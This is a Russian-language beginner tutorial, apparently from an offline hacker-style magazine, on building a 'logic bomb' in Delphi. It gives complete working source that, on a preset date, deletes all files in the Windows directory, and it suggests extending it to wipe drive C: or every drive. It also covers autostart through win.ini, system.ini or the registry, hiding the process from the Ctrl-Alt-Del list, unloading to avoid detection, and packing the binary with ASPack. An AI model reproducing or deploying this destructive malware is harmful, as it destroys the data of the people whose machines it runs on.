Hosted by uCoz
Логическая бомба на Delphi
Системные требования --
Delphi 5, умение программировать методом Copy-Paste + немного мозгов (совсем чуть-чуть!!!)

-- BEGIN --

Предупреждаю сразу - статья расчитана на начинающих Делфи-кодеров, поэтому галимый флуд насчет уровня статьи все недовольные могут засунуть себе в }|{0nY. %)) Для начала немного теории. Логическая бомба - это прога, которая некоторое время сидит в памяти и проверяет заранее заданный параметр, при совпадении которого происходят какие-либо действия со стороны программы. Обычно это время или дата, хотя все зависит от твоей фантазии... %)
Итак, вот простенький пример заготовки для логической бомбы:
program Logical_b0mb;
begin
if {условие} then {если совпадает - срабатывание}
begin
{действия при срабатывание}
end
else {иначе}
exit; {выход из проги}
end.
Этот кусок проги не скомпилится, если не будет указан ОБЯЗАТЕЛЬНЫЙ параметр - условиe. Крайне рекомендуется при несовпадении параметра - выгружать программу из памяти, т.к. это сильно затрудняет ее обнаружение. Стартовать прогу следует через win.ini или system.ini, на крайняк - через реестр.Вот работоспособная заготовка бомбы:
program Logical_b0mb;
uses
sysutils;
begin
if datetostr(date) = '22.08.01' then {проверка даты}
begin
{код, выполняющийся при совпадении текущей даты с заданной} 
end
else
exit;
end.
Ну все, заготовка сделана, осталось вставить деструктивный код %)). Если кто-то хочет активировать прогу по времени - вместо datetostr(date) следует написать timetostr(time).Для примера в качестве деструктивного %) кода рассмотрим удаление файлов из папки Маздая. Можно заюзать следующую функцию....
function GetMustDieDir: string;
var Buffer: array[0..max_path] of Char;
begin
SetString(Result, Buffer, GetWindowsDirectory(Buffer, SizeOf(Buffer)));
end;
... но если кто-то не хочет набиваем каждый раз ручками следующие:
uses
windows;
var
p: array[0..max_path] of char;
s: string;
begin
GetWindowsDirectory(p, max_path);
s:= strpas(p) + '\';
end;
Полный текст проги должен выглядеть так:
program Logical_b0mb;
uses
windows, sysutils;
var
p: array[0..max_path] of char;
s: string;
begin
if datetostr(date) = '22.08.01' then 
begin
GetWindowsDirectory(p, max_path);
s:= strpas(p) + '\';
end
else
exit;
end.
Ну можно считать, половина проги готова %)) Для удаления файлов воспользуемся функциями 
FindFirst FindNext:
program Logical_b0mb;
uses
windows, sysutils;
var
p: array[0..max_path] of char;
s: string;
sr: tsearchrec;
begin
if datetostr(date) = '22.08.01' then 
begin
GetWindowsDirectory(p, max_path);
s:= strpas(p) + '\';
if FindFirst(s + '*.*',faanyfile,sr) <> 0 
then 
FindClose(sr) 
else { если функция FindFirst возвращает значение не ноль - завершить поиск, если ноль тогда 
продолжить}
repeat {продолжать}
deletefile(s + sr.name); {удаление найденного файла}
until {пока}
Findnext(sr) <> 0; {не возвращено значение ноль}
FindClose(sr);{тогда закончить поиск}
end
else
exit;
end.
Эта прога при загрузке проверяет дату и если дата совпадает - удаляет все файлы из директории Windows. Это, конечно, ОЧЕНЬ простая прога, но если ты 10-20 минут посидишь за Делфей, реализуешь полную очистку диска C: (а может и все дисков %), какие-нибудь дополнительные фичи - получится неплохая программулька. Убрать показ по Ctrl-Alt-Del можно следующим образом (только Win9x):
в var'e обьявляем переменную 
var
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
в самой проге пишем:
RegisterServiceProcess(GetCurrentProcessID, 1);
Но я не рекомендую этого делать, т.к. прога, при несовпадении даты, практически сразу выгружает себя из памяти, а обработка kernel32.dll не даст проге работать под WinNT.

После компиляции рекомендуется зажимать прогу ASPack'ом (http://www.aspack.com).
Чтобы самому не облажаться и не держать у себя на винте подобный софт, - почаще юзай маздайскую утилиту msconfig (Win9x) или Панель Управления > Администрирование > Службы (Win2000).

AboutPC - электроный оффлайн журнал о компьютерах